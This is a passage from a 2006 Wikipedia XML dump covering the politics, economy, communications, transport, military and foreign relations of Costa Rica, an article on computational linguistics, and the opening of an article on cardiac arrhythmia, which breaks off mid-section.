Costa Rica's leading [[Political party|political parties]] are the Partido Unidad Social Cristiana (PUSC, [[Christian Democracy|christian democratic]]),  Partido Liberación Nacional (PLN, [[Social Democracy|social democratic]]), [[Partido Acción Ciudadana]] (PAC, [[Populism|populist]] and reformist, largely but not exclusively left and center left) and [[Partido Movimiento Libertario]] (ML, [[Libertarianism|libertarian]]). Other minor parties include Partido Renovación Costarricense (PRC, Christian) and Fuerza Democrática (FD, left).  New parties that will participate for the first time in the 2006 elections include Partido Unión Patriótica, Partido Unión para el Cambio, Partido Patria Primero, and Partido Alianza Democrática Nacionalista.  

In the February [[1998]] national election, PUSC candidate [[Miguel Ángel Rodríguez]] won the presidency over PLN nominee Jose Miguel Corrales. President Rodriguez assumed office [[8 May]] [[1998]]. The PUSC also obtained 27 seats in the 57-member Legislative Assembly, for a plurality, while the PLN gained 23 and five minor parties won seven. Social Christian in philosophy, the PUSC generally favors neoliberalism, conservative fiscal policies, and government reform. President Rodriguez pledged to reduce the country's large internal debt, privatize state-owned utilities, attract additional foreign investment, eliminate social welfare programs, and promote the creation of jobs with decent salaries.  The reforms he tried to promote found opposition from several parties, including his own, and he asserted several times the country was &quot;ungovernable&quot;.

In the [[2002]] national election, a new party founded by former PLN Congressman and government Minister [[Ottón Solís]] captured 26% of the vote, forcing a runoff election for the first time in the country's history.  Abel PACHECO was elected President, under a national unity platform, but continuing most of the neoliberal and conservative policies of [[Miguel Ángel Rodríguez]].  This election was also important because new parties won several seats in Congress, more than ever.  The PUSC obtained 19 seats, PLN 17 seats, PAC 14 seats, PML 6 seats and PRC one seat.

During the year 2004, several high profile corruption scandals shattered the foundations of PUSC.  Two former Presidents from the party, [[Miguel Ángel Rodríguez]] and [[Rafael Ángel Calderón]] were arrested on corruption charges and are currently waiting for the investigation to end and trial to begin.  Also involved in scandals has been [[José María Figueres]], former President from PLN and former head of the [[World Economic Forum]]. 

There are at least 4 new important parties in the process of registration, some headed by important political figures such as Congressmen and former Congressmen and government ministers.

==Political parties and elections==
{{elect|List of political parties of Costa Rica|Elections in Costa Rica}}
{{main|Costa Rican presidential election, 2006}}
{{Costa Rica presidential election, 2006}}
{{main|Costa Rican parliamentary election, 2006}}
{{Costa Rica parliamentary election, 2006}}

==Quick facts:==
*Conventional long form: Republic of Costa Rica
*Conventional short form: Costa Rica
*Local long form: República de Costa Rica
*Local short form: Costa Rica
*Data code:: CS
*Government type:Democratic republic
*Capital: [[San José, Costa Rica|San José]]
*Administrative divisions: 7 provinces (provincias, singular - provincia); Alajuela, Cartago, Guanacaste, Heredia, Limón, Puntarenas, San José
*Independence: [[15 September]] [[1821]] (from Spain)
*National holiday: Independence Day, [[15 September]] (1821)
*Constitution: [[7 November]] [[1949]]
*Legal system: Based on Spanish civil law system; judicial review of legislative acts in the Supreme Court; has not accepted compulsory ICJ jurisdiction
*Suffrage: 18 years of age; universal and compulsory
*Executive branch:
**[[Chief of state]]: [[President of Costa Rica|President]] [[Abel Pacheco|Abel PACHECO de la Espriella]] (since [[8 May]] [[2002]]); First Vice President Lineth SABORIO (since May 2002); Second Vice President (vacant) (since February 2005 when Luis FISHMAN resigned); note - president is both the chief of state and head of government
**[[Head of government]]: [[President of Costa Rica|President]] [[Abel Pacheco|Abel PACHECO de la Espriella]] (since [[8 May]] [[2002]]); First Vice President Lineth SABORIO (since May 2002); Second Vice President (vacant) (since February 2005 when Luis FISHMAN resigned); note - president is both the chief of state and head of government
**Cabinet: Cabinet selected by the president
**Election results: First round: (40%+ required to be elected) [[Abel Pacheco|Abel PACHECO]] (PUSC), 39%.  Rolando ARAYA (PLN), 31%. [[Ottón Solís|Ottón SOLÍS]] (PAC), 26%.  [[Otto Guevara|Otto GUEVARA]] (PML), 2%. Runoff election: [[Abel Pacheco|Abel PACHECO]] elected president; percent of vote - [[Abel Pacheco|Abel PACHECO]] (PUSC) 58%, Rolando ARAYA (PLN) 42%
*Legislative branch: unicameral [[Legislative Assembly of Costa Rica|Legislative Assembly]] or ''Asamblea Legislativa'' (57 seats; members are elected by direct popular vote to serve four-year terms.  Uses [[proportional representation]].)
**elections:last held [[2 February]] [[2002]] (next to be held February [[2006]])
**election results: percent of vote by party - PUSC 30%, PLN 27%, PAC 22%, PML 9%, others 12%; seats by party - PUSC 19, PLN 17, PAC 8 (originally elected 14), Unión Patriótica 3 (UP, former members of PAC), PML 5 (originally elected 6), others 5 (including 3 former members of PAC and one former member of ML).
*Judicial branch: Supreme Court (Corte Suprema), justices are elected for eight-year terms by the Legislative Assembly
**President of the Supreme Court: [[Luis Paulino Mora]]
*Political pressure groups and leaders: Authentic Confederation of Democratic Workers or CATD (Communist Party affiliate); Chamber of Coffee Growers; Confederated Union of Workers or CUT (Communist Party affiliate); Costa Rican Confederation of Democratic Workers or CCTD (Liberation Party affiliate); Federation of Public Service Workers or FTSP; [[Free Costa Rica Movement]] or MCRL (rightwing militants); National Association for Economic Development or ANFE; National Association of Educators or ANDE
*International organization participation: BCIE, CACM, ECLAC, FAO, G-77, IADB, IAEA, IBRD, [[International Criminal Court|ICC]], ICAO, ICFTU, ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, IMO, Inmarsat, Intelsat, [[Interpol]], IOC, IOM, ISO, ITU, LAES, LAIA (observer), NAM (observer), [[Organization of American States|OAS]], OPANAL, OPCW, [[United Nations|UN]], [[UNCTAD]], [[UNESCO]], UNIDO, UNU, UPU, WCL, WFTU, WHO, [[WIPO]], WMO, WToO, WTrO
*Flag description: five horizontal bands of blue (top), white, red (double width), white, and blue, with the coat of arms in a white disk on the hoist side of the red band

==External links==
* http://www.kostaryka.org/2001/famous62.htm (Famous people of Costa Rica)

==See also==
*[[Costa Rica]]

==Footnotes==
*&lt;cite id=&quot;fn_1&quot;&gt;[[#fn 1 back|Note 1:]] &lt;/cite&gt; ''Costa Rica: Isle Of Tranquillity In an Angry Sea'', U.S. News &amp; World Report September 17, 1984, Pg. 40

[[Category:Politics of Costa Rica| ]]
[[es:Gobierno y política de Costa Rica]]
[[fr:Politique du Costa Rica]]
[[pt:Política da Costa Rica]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Costa Rica</title>
    <id>5556</id>
    <revision>
      <id>37665765</id>
      <timestamp>2006-02-01T12:23:44Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>moved to head of cat</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
[[Costa Rica]]'s basically stable economy depends on [[tourism]], [[agriculture]], and [[electronics]] exports.  It  has the second biggest GDP per capita of Latin America. Poverty has been substantially reduced over the past 15 years, and a strong social safety net has been put into place. Economic growth has rebounded from -0.9% in [[1996]] to 4% in [[1997]], 6% in [[1998]], and 7% in [[1999]]. Inflation rose to 22.5% in [[1995]], dropped to 11.1% in 1997, 12% in 1998, and 11% in 1999. Large government deficits--fueled by interest payments on the massive internal debt--have undermined efforts to maintain the quality of social services. Curbing [[inflation]], reducing the deficit, and improving public sector efficiency remain key challenges to the government. Political resistance to [[privatization]] has stalled liberalization efforts.

Costa Rica has sought to widen its economic and trade ties, both within and outside the region. Costa Rica signed a bilateral trade agreement with Mexico in 1994, which was later amended to cover a wider range of products. Costa Rica joined other Central American countries, plus the Dominican Republic, in establishing a Trade and Investment Council with the United States in March 1998. Costa Rica is negotiating or seeking ratification of trade agreements with [[Chile]], the [[Dominican Republic]], [[Panama]], and [[Trinidad and Tobago]]. It lobbied aggressively for enhancement of the U.S. Government's Caribbean Basin Initiative and has made clear its interest in joining the [[North American Free Trade Agreement]] (NAFTA) or signing a similar treaty with the U.S. Costa Rica is an active participant in the negotiation of the hemispheric Free Trade Area of the Americas, a process that the Costa Rican Government chaired in preparation for the April 1998 Summit of the Americas in [[Santiago, Chile]]. It also is a member of the so-called [[Cairns Group]] which is pursuing global agricultural trade liberalization in the World Trade Organization.


Costa Rica's economy emerged from recession in 1997 and has shown strong aggregate growth since then. After 6.2% growth in 1998, GDP grew a substantial 8.3% in 1999, led by exports of the country's free trade zones and the tourism sector. The Central Bank attributes almost half of 1999 growth to the production of [[Intel]] Corporation's microprocessor assembly and testing plant. The strength in the nontraditional export and tourism sector is masking a relatively lackluster performance by traditional sectors, including agriculture. Inflation, as measured by the Consumer Price Index, was 10.1% in 1999, down from 11.2% the year before. The central government deficit decreased to 3.2% of GDP in 1999, down from 3.3% from the year before. On a consolidated basis, including Central Bank losses and parastatal enterprise profits, the public sector deficit was 2.3% of GDP. Controlling the budget deficit remains the single biggest challenge for the country's economic policymakers, as interest costs on the accumulated central government consumes the equivalent of 30% of the government's total revenues. This limits the resources available for investments in the country's deteriorated public infrastructure.

==Resources==
Costa Rica's major economic resources are its fertile land and frequent rainfall, its well-educated population, and its location in the Central American isthmus, which provides easy access to North and South American markets and direct ocean access to the European and Asian Continents. Costa Rica has 2 seasons, both of which have their own agricultural benefits. The seasons are the basic, wet and dry, tropical typed seasons. One-fourth of Costa Rica's land is dedicated to national forests, often adjoining picturesque beaches, which has made the country a popular destination for affluent retirees and [[Ecotourism | ecotourists]].
==Exports and jobs==
Costa Rica used to be known principally as a producer of [[banana]]s and [[coffee]]. (Its principal exports are still listed as coffee, bananas, [[cocoa]], [[sugar]], [[lumber]] and [[wood]] products and beef.) In recent years, Costa Rica has successfully attracted important investments by such companies as Intel Corporation, which employs nearly 2,000 people at its $300 million microprocessor plant; [[Procter &amp; Gamble]], which is establishing its administrative center for the Western Hemisphere; and Abbott Laboratories and Baxter Healthcare from the health care products industry. Manufacturing and industry's contribution to GDP overtook agriculture over the course of the [[1990s]], led by foreign investment in Costa Rica's free trade zone. Well over half of that investment has come from the U.S. Tourism also is booming, with the number of visitors up from 780,000 in 1996 to more than 1 million in 1999. Tourism now earns more foreign exchange than bananas and coffee combined.

The country has not discovered sources of fossil fuels--apart from minor [[coal]] deposits-- but its mountainous terrain and abundant rainfall have permitted the construction of a dozen [[hydroelectric power]] plants, making it self-sufficient in all energy needs, except oil for transportation. Costa Rica exports electricity to Central America and has the potential to become a major electricity exporter if plans for new generating plants and a regional distribution grid are realized. Mild climate and trade winds make neither heating nor cooling necessary, particularly in the highland cities and towns where some 90% of the population lives.

==Infrastructure==
Costa Rica's infrastructure has suffered from a lack of maintenance and new investment. The country has an extensive road system of more than 30,000 kilometers, although much of it is in disrepair. Most parts of the country are accessible by road. The main highland cities in the country's Central Valley are connected by paved all-weather roads with the Atlantic and Pacific coasts and by the [[Pan American Highway]] with Nicaragua and Panama, the neighboring countries to the North and the South. Costa Rica's ports are struggling to keep pace with growing trade. They have insufficient capacity, and their equipment is in poor condition. The railroad didn't function for several years, until recent government effort to reactivate it for city transportation.

The government hopes to bring foreign investment, technology, and management into the telecommunications and electrical power sectors, which are monopolies of the state. However, political opposition to opening these sectors to private participation has stalled the government's efforts. The poor state of public finances will continue to limit the state's ability to try to modernize these sectors in the absence of a political consensus to permit private investment. Failure to act soon on telecommunications could prove an obstacle to the government's desire to attract more world-class foreign investment.

== Statistics ==
'''GDP:'''
$18.4 billion.(2004)

'''GDP PPP:''' 
$37.97 billion. (2004 est.)

'''GDP real growth rate:'''
3.9% (2004 est.)

'''GDP per capita:'''
purchasing power parity - $ 9,600 (2004 est.)

'''GDP composition by sector:'''
&lt;br&gt;''agriculture:''
8.5% (2005) Bananas, pineapples, coffee, beef, sugarcane, rice, dairy products, vegetables, fruits and ornamental plants.
&lt;br&gt;''industry:''
29.7% (2004) Electronic components, food processing, textiles and apparel, construction materials, cement, fertilizer.
&lt;br&gt;''services:''
61.8% (2004) Hotels, restaurants, tourist services, banks, and insurance.

'''Population below poverty line:'''
18%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
1.1%
&lt;br&gt;''highest 10%:''
36.8% (2004 est.)

'''Inflation rate (consumer prices):'''
11.5% (2004 est.)

'''Labor force:'''
1.81 million (2004 est.)

'''Labor force by occupation:'''
agriculture 20%, industry 22%, services 58% (1999 est.)

'''Unemployment rate:'''
6.6% (2004 est.); 7.5% underemployment

'''Budget:'''
&lt;br&gt;''revenues:''
$2.497 billion (2004 est.)
&lt;br&gt;''expenditures:''
$3.094 billion (2004 est.)

'''Industries:'''
microprocessors, food processing, textiles and clothing, construction materials, fertilizer, plastic products

'''Industrial production growth rate:'''
24.5% (1999)

'''Electricity production:'''
5,742 GWh (1998)

'''Electricity production by source:'''
&lt;br&gt;''fossil fuel:''
9.28%
&lt;br&gt;''hydro:''
80.62%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
10.1% (1998)

'''Electricity consumption:'''
5,267 GWh (1998)

'''Electricity exports:'''
77 GWh (1998)

'''Electricity imports:'''
4 GWh (1998)

'''Agriculture products:'''
coffee, bananas, sugar, corn, rice, beans, potatoes, beef, timber

'''Exports:'''
$6.4 billion (f.o.b., 1999 est.)

'''Export commodities:'''
coffee, bananas, sugar; textiles, electronic components, electricity

'''Export partners:'''
USA 49%,  EU 22%, Central America 10% (1999)

'''Imports:'''
$6.5 billion (c.i.f., 1999 est.)

'''Import commodities:'''
raw materials, consumer goods, capital equipment, petroleum, electricity

'''Import partners:'''
USA 41%, Japan 8.1%, Mexico 7.3%, Venezuela 4% (1998)

'''External debt:'''
$3.9 billion (1998 est.)

'''Economic aid - recipient:'''
$107.1 million (1995)

'''Currency:'''
1 Costa Rican colon (C) = 100 centimos

'''Exchange rates:'''
Costa Rican colones (C) per US$1 - 479.57 (July 2005) 299.63 (February 2000), 285.68 (1999), 257.23 (1998), 232.60 (1997), 207.69 (1996), 179.73 (1995)

'''Fiscal year:'''
[[October 1]] &amp;ndash; [[September 30]]

==External links==
[http://www.auswaertiges-amt.de/www/en/laenderinfos/laender/laender_ausgabe_html?type_id=12&amp;land_id=33  Costa Rica's Economy]

{{WTO}}

[[Category:WTO members|Costa Rica]]
[[Category:Economy of Costa Rica| ]]
 

[[es:Economía de Costa Rica]]
[[fr:Économie du Costa Rica]]
[[pt:Economia da Costa Rica]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Costa Rica</title>
    <id>5557</id>
    <revision>
      <id>37667398</id>
      <timestamp>2006-02-01T12:44:17Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>adjusted categorisation</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
1 389 359 (August 2005)

'''Telephones - mobile cellular:'''
934 764 (August 2005)

'''Telephone system:'''
very good domestic telephone service
&lt;br&gt;''domestic:''
point-to-point and point-to-multi-point microwave, fiber-optic and coaxial cable link rural areas; [[Internet]] service is available
&lt;br&gt;''international:''
connected to [[Central American Microwave System]]; [[satellite]] earth stations - 2 [[Intelsat]] ([[Atlantic Ocean]]); two submarine cables (1999)

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 50, FM 43, shortwave 19 (1998)

'''Radios:'''
980,000 (1997)

'''[[Television]] broadcast stations:'''
6 (plus 11 repeaters) (1997)

'''Televisions:'''
525,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
2 (1999)

'''[[Country code]]:''' CR

:''See also :'' [[Costa Rica]]

[[Category:Communications in Costa Rica| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Costa Rica</title>
    <id>5558</id>
    <revision>
      <id>41168528</id>
      <timestamp>2006-02-25T14:13:06Z</timestamp>
      <contributor>
        <username>Prasi90</username>
        <id>733316</id>
      </contributor>
      <text xml:space="preserve">{{CIA}}
{{Cleanup}}
== [[Railway]]s ==
&lt;br&gt;''total:''
950 km
&lt;br&gt;''narrow gauge:''
950 km 1.067-m gauge (260 km electrified)

=== Railways links to adjacent countries ===
* [[Transportation in Nicaragua|Nicaragua]] - no
* [[Transportation in Panama|Panama]] - no

== [[Highway]]s ==
&lt;br&gt;''total:''
37,273 km
&lt;br&gt;''paved:''
7,827 km
&lt;br&gt;''unpaved:''
29,446 km (1998 est.)

== Waterways ==
about 730 km, seasonally navigable

== Pipelines ==
[[petroleum]] products 176 km

== Ports and [[harbor]]s ==
=== Atlantic Ocean ===
[[Moin]], [[Puerto Limón]], 
=== Pacific Ocean ===
[[Caldera]], [[Golfito]], [[Puerto Quepos]], [[Puntarenas]]

== [[Merchant marine]] ==
none (1999 est.)

== [[Airport]]s ==
155 (1999 est.) see also [[List of airports in Costa Rica]]

=== Airports - with paved runways ===
&lt;br&gt;''total:''
28
&lt;br&gt;''2,438 to 3,047 m:''
2
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
18
&lt;br&gt;''under 914 m:''
7 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
127
&lt;br&gt;''914 to 1,523 m:''
29
&lt;br&gt;''under 914 m:''
98 (1999 est.)

== See also ==
* [[Costa Rica]]

{{CIAfb}}

{{North America in topic|Transportation in}}

[[Category:Transportation in Costa Rica|*]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Costa Rica</title>
    <id>5559</id>
    <revision>
      <id>41083577</id>
      <timestamp>2006-02-24T23:13:44Z</timestamp>
      <contributor>
        <username>Tothebarricades.tk</username>
        <id>63223</id>
      </contributor>
      <text xml:space="preserve">On [[December 1]], [[1948]], [[List of Presidents of Costa Rica|president]] [[José Figueres Ferrer]] of [[Costa Rica]] abolished the country's army after victory in the civil war in that year.
In a ceremony in the ''Cuartel Bellavista'', Figueres broke a wall with a [[mallet]] symbolizing the end of Costa Rica's military spirit.
In [[1949]] the abolition of the military was introduced in the Article 12 of the 1949 [[Constitution]].

[[image:FigueresMuroCuartelBellavista.jpg|thumb|250px|[[José Figueres Ferrer]] breaking a wall of the ''Cuartel Bellavista'' symbolizing the abolition of the Military]]

The budget previously dedicated to the military now is dedicated to security, education and culture; the country maintains armed National Guard forces.
The museum ''Museo Nacional de Costa Rica'' was placed in the ''Cuartel Bellavista'' as a symbol of commitment to culture.

In [[1986]], [[List of Presidents of Costa Rica|president]] [[Oscar Arias Sánchez]] declared [[December 1]] as the ''Día de la Abolición del Ejército'' (Military abolition day) with law #8115.

Unlike its neighbours, Costa Rica has not endured a civil war since.

==See also==
* [[List of countries without an army]]

==External links==
* [http://www.elespiritudel48.org/docu/h013.htm El Espíritu del 48: Abolición del Ejército] A brief history and facts of the abolishment of the military in Costa Rica
* [http://www.asamblea.go.cr/proyecto/constitu/const3.htm Constitución Política de la República de Costa Rica] See article 12.
* [http://www.mcjdcr.go.cr/patrimonio/museo_nacional.html Museo Nacional de Costa Rica]
* [http://www.geocities.com/Athens/Agora/9751/museo.htm History of the Museum]

[[Category:Military of Costa Rica| ]]
 
[[zh:哥斯达黎加军事]]</text>
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  </page>
  <page>
    <title>Foreign relations of Costa Rica</title>
    <id>5560</id>
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      <id>41051582</id>
      <timestamp>2006-02-24T19:12:26Z</timestamp>
      <contributor>
        <username>IDuke</username>
        <id>763308</id>
      </contributor>
      <comment>removed graffiti</comment>
      <text xml:space="preserve">{{Politics of Costa Rica}}
[[Costa Rica]] is an active member of the international community and, in [[1993]], claimed it was for [[neutral country|neutrality]].  Due to certain powerful constituencies favoring its methods, it has a weight in world affairs far beyond its size. The country lobbied aggressively for the establishment of the [[Office of the United Nations High Commissioner for Human Rights]] and became the first nation to recognize the jurisdiction of the [[Inter-American Human Rights Court]], based in San Jose.

Then-President [[Oscar Arias]] authored a regional plan in [[1987]] that served as the basis for the [[Esquipulas Peace Agreement]] and Arias was awarded the 1987 [[Nobel Peace Prize]] for his work.  Arias also promoted change in the USSR-backed Nicaraguan government of the era. Costa Rica also hosted several rounds of negotiations between the [[El Salvador|Salvadoran Government]] and the [[Farabundo Martí National Liberation Front]] (FMLN), aiding El Salvador's efforts to emerge from civil war and culminating in that country's [[1994]] free and fair elections. Costa Rica has been a strong proponent of regional arms-limitation agreements. Former President Miguel Ángel Rodríguez recently proposed the abolition of all [[Central America|Central American]] militaries and the creation of a regional counternarcotics police force in their stead.

With the establishment of democratically-elected governments in all Central American nations by the [[1990s]], Costa Rica turned its focus from regional conflicts to the pursuit of neoliberal policies on the isthmus. The influence of these policies, along with the US invasion of Panama, was instrumental in drawing [[Panama]] into the Central American model of [[neoliberalism]].  Costa Rica also participated in the multinational [[Partnership for Democracy and Development in Central America]].

Regional political integration has not proven attractive to Costa Rica. The country debated its role in the Central American integration process under former President Calderon. Costa Rica has sought concrete economic ties with its Central American neighbors rather than the establishment of regional political institutions, and it chose not to join the [[Central American Parliament]]. President Figueres promoted a higher profile for Costa Rica in regional and international fora. Costa Rica gained election as President of the Group of 77 in the [[United Nations]] in 1995. That term ended in 1997 with the South-South Conference held in San Jose. Costa Rica occupied a nonpermanent seat in the [[United Nations Security Council|Security Council]] from [[1997]] to [[1999]] and exercised a leadership role in confronting crises in the [[Middle East]] and [[Africa]], as well as in the former [[Socialist Federal Republic of Yugoslavia]]. It is currently a member of the [[United Nations Commission on Human Rights]].

Costa Rica broke relations with [[Cuba]] in 1961 to protest Cuban support of the left in Central America and has not renewed formal diplomatic ties with the Castro regime. In 1995, Costa Rica established a [[consular office]] in [[Havana]]. Cuba opened a consular office in Costa Rica in [[2001]].

Costa Rica strongly backed efforts by the United States to implement [[UN Security Council Resolution 940]], which led to the restoration of the democratically elected Government of [[Haiti]] in [[October]] [[1994]]. Costa Rica was among the first to call for a postponement of the [[May 22]] elections in [[Peru]] when international observer missions found electoral machinery not prepared for the vote count.

Costa Rica maintains official relations with the [[Republic of China]] (commonly known as &quot;Taiwan&quot;) instead of the [[People's Republic of China]]. Strong economic ties exist between the two countries with projects having included the recent construction of a suspension bridge with Taiwanese capital to join the Costa Rican mainland with the Nicoya Peninsula. The bridge has been a boon for the tourist industry in the peninsula by reducing travel time to some locations by as much as two hours. 

[[Category:Government of Costa Rica]]
[[Category:Politics of Costa Rica]]
[[Category:Foreign relations by country|Costa Rica, Foreign affairs of]]</text>
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  </page>
  <page>
    <title>Computational linguistics</title>
    <id>5561</id>
    <revision>
      <id>31630957</id>
      <timestamp>2005-12-16T17:44:52Z</timestamp>
      <contributor>
        <username>MarkSweep</username>
        <id>58666</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/194.44.213.229|194.44.213.229]] ([[User talk:194.44.213.229|talk]]) to last version by Gabr</comment>
      <text xml:space="preserve">::''This article is about the scientific field.  For the journal, see &lt;em&gt;[[Computational Linguistics (journal)]]&lt;/em&gt;''.

{{linguistics}}

'''Computational linguistics''' is an [[interdisciplinary]] field dealing with the statistical and [[logic]]al modeling of [[natural language]] from a computational perspective. This modeling is not limited to any particular field of [[linguistics]]. Computational linguists were formerly usually [[computer scientist]]s who had specialized in the application of computers to the processing of a [[natural language]]. Recent research has shown that language is much more complex than previously thought, so computational linguistics work teams are now sometimes interdisciplinary, including linguists (specifically trained in linguistics). Computational linguistics draws upon the involvement of linguists, [[computer science|computer scientists]], experts in [[artificial intelligence]], [[cognitive psychology|cognitive psychologists]] and [[logic|logicians]], amongst others.

==Origins==
Computational linguistics as a field predates artificial intelligence, a field under which it is often grouped. Computational linguistics originated with efforts in the [[United States]] in the 1950s to have computers automatically translate texts in foreign languages into English, particularly [[Russian language|Russian]] scientific journals. Since computers had proven their ability to do complex [[mathematics]] much faster and more accurately than humans, it was thought to be only a short matter of time before the technical details could be taken care of that would allow them the same remarkable capacity to process language. 

When [[machine translation]] (a.k.a. mechanical translation) failed to immediately yield accurate translations, the problem was recognized as far more complex than had originally been assumed. Computational linguistics was born as the name of the new field of study devoted to developing [[algorithm]]s and [[software]] for intelligently processing language data. When artificial intelligence came into existence in the 1960s, the field of computational linguistics became that sub-division of artificial intelligence dealing with human-level comprehension and production of natural languages.

In order to translate one language into another, it was observed that one had to understand the [[syntax]] of both languages, and at least at the level of [[morphology (linguistics)|morphology]] (the syntax of words) and whole sentences. In order to understand syntax, one had to also understand the [[semantics]] of the vocabulary, and even to understand something of the [[pragmatics]] of how the language was being used. Thus, what started as an effort to translate between languages evolved into an entire discipline devoted to understanding how to represent and process individual natural languages using computers.

==Subfields==
Computational linguistics can be divided into major areas depending upon the medium of the language being processed, whether spoken or textual; and upon the task being performed, whether analyzing language (parsing) or creating language (generation).

[[Speech recognition]] and [[speech synthesis]] deal with how spoken language can be understood or created using computers. Parsing and generation are sub-divisions of computational linguistics dealing respectively with taking language apart and putting it together. Machine translation remains the sub-division of computational linguistics dealing with having computers translate between languages.

Some of the areas of research that are studied by computational linguistics include:

*Computer aided [[corpus linguistics]]
*Design of parsers for [[natural language]]s
*Design of taggers like POS-taggers (part-of-speech taggers)
*Definition of specialized logics like resource logics for [[Natural language processing|NLP]]
*Research in the relation between formal and natural languages in general
*[[Machine Translation]], e.g. by a translating computer

The [[Association for Computational Linguistics]] defines computational linguistics as:
:...the scientific study of [[language]] from a computational perspective. Computational linguists are interested in providing [[computational model]]s of various kinds of linguistic phenomena.

==See also==
* [[natural language processing]]
* [[machine translation]]
* [[translation memory]]
* [[Computational Linguistics (journal)]]

== External links ==
*  [http://www.aclweb.org/ Association for Computational Linguistics (ACL)]
*  [http://www.aclweb.org/anthology ACL Anthology of research papers]
*  [http://www.lt-world.org/ Language Technology World]
*  [http://www.cs.technion.ac.il/~gabr/resources/resources.html Resources for Text, Speech and Language Processing]

[[Category:Computational linguistics|*]]

&lt;!-- interwiki --&gt;

[[bg:Компютърна лингвистика]]
[[de:Computerlinguistik]]
[[es:Lingüística computacional]]
[[fr:Linguistique informatique]]
[[gl:Linguaxe De Computadora]]
[[hr:Ra%C4%8Dunalna_lingvistika]]
[[ko:전산언어학]]
[[it:Linguistica computazionale]]
[[lv:Datorlingvistika]]
[[nl:Computationele taalkunde]]
[[ja:計算言語学]]
[[pl:Lingwistyka komputerowa]]
[[ru:Математическая лингвистика]]
[[fi:Kieliteknologia]]
[[zh:计算机语言学]]
[[zh-min-nan:Kè-sǹg gí-giân-ha̍k]]</text>
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  </page>
  <page>
    <title>Cardiac arrhythmia</title>
    <id>5562</id>
    <revision>
      <id>41939693</id>
      <timestamp>2006-03-02T19:40:13Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Cardiac arrhythmia |
  ICD10       = I47-I49 |
  ICD9        = {{ICD9|427.9}} |
}}
'''Cardiac arrhythmia''' is a group of conditions in which the [[muscle contraction]] of the heart is irregular or is faster or slower than normal. '''Cardiac dysrhythmia''' is technically more correct, as arrhythmia would imply that there is &quot;no rhythm,&quot; but this term is not used frequently.

Some arrhythmias are life-threatening [[medical emergencies]] that can cause cardiac arrest and sudden death.  Others cause aggravating symptoms, such as an awareness of a different heart beat, or [[palpitation]],which can be annoying.  Some are quite benign and normal.  Sinus arrhythmia is the mild acceleration followed by slowing of the normal rhythm that occurs with breathing.  In adults the normal heart rate ranges from 60 beats per minute to 100 beats per minute.  The normal heart beat is controlled by a small area in the upper chamber of the heart called the sinus node.  The sinus node contains specialized cells that have spontaneous electrical activity that starts each normal heart beat.

== Frequency too high/low ==
A heart rate faster than 100 beats/minute is considered a [[tachycardia]].  With exercise the sinus node increases its rate of electrical activity to accelerate the heart rate.  The normal fast rate that develops is called sinus tachycardia.  Arrhythmias that are due to fast, abnormal electrical activity can cause tachycardias that are dangerous.  If the [[left ventricle|ventricles]] of the heart experiences one of these tachycardias for a long period of time, there can be [[deleterious]] effects.  Individuals may sense a tachycardia as a pounding sensation of the heart, known as [[palpitations]].  If a tachycardia lowers blood pressure it may cause lightheadedness or dizzinesses, or even fainting ([[syncope]]).  If the tachycardia is so fast that the heart can not function, it leads to death, which may occur suddenly.

Most tachycardias are not dangerous.  Anything that increases adrenaline or its effects on the heart will increase the heart rate and potentially cause palpitations or tachycardias.  Causes include stress, ingested or injected substances (ie: [[caffeine]], [[ethanol|alcohol]] (see [[Holiday heart syndrome]]), and an overactive thyroid gland [[hyperthyroidism]].  Individuals who have a tachycardia are often advised to limit or remove exposure to any causative agent.

A slow rhythm, known as [[bradycardia]] (less than 60 beats/min), is usually not life threatening, but may cause symptoms.  When it causes symptoms implantation of a permanent pacemaker may be needed.

Either dysrhythmia requires medical attention to evaluate the risks associated with the arrhythmia.

== Fibrillation ==
A serious variety of arrhythmia is known as [[fibrillation]]. Fibrillation occurs when the [[heart]] [[muscle]] begins a quivering motion instead of a normal, healthy pumping rhythm. Fibrillation can affect the atrium ([[atrial fibrillation]]) or the ventricle ([[ventricular fibrillation]]); ventricular fibrillation is imminently life-threatening.

''Atrial fibrillation'' is the quivering, chaotic motion in the upper chambers of the heart, known as the [[atria]].  Atrial fibrillation is often due to serious underlying medical conditions, and should be evaluated by a [[physician]].  It is not typically a medical emergency.

''Ventricular fibrillation'' occurs in the [[ventricle (heart)|ventricles]] (lower chambers) of the heart, it is always a medical emergency.  If left untreated, [[ventricular fibrillation]] (VF, or V-fib) can lead to death within minutes.  When a heart goes into V-fib, effective pumping of the blood stops.  V-fib is considered a form of [[cardiac arrest]], and an individual suffering from it will not survive unless [[cardiopulmonary resuscitation]] (CPR) and [[defibrillation]] are provided immediately.

CPR can prolong the survival of the [[brain]] in the lack of a normal pulse, but defibrillation is the intervention which is most likely to restore a more healthy heart rhythm.  It does this by applying an electric shock to the heart, after which sometimes the heart will revert to a rhythm that can once again pump blood.

Almost every person goes into ventricular fibrillation in the last few minutes of life as the heart muscle reacts to diminished oxygen or general blood flow, trauma, irritants, or depression of electrical impulses themselves from the brain.

==Origin of impulse==
When an electrical impulse begins in any part of the heart, it will spread throughout the [[myocardium]] and cause a contraction; see [[Electrical conduction system of the heart]]. Abnormal impulses can begin by one of two mechanisms: automaticity or reentry.

===Automaticity=== 
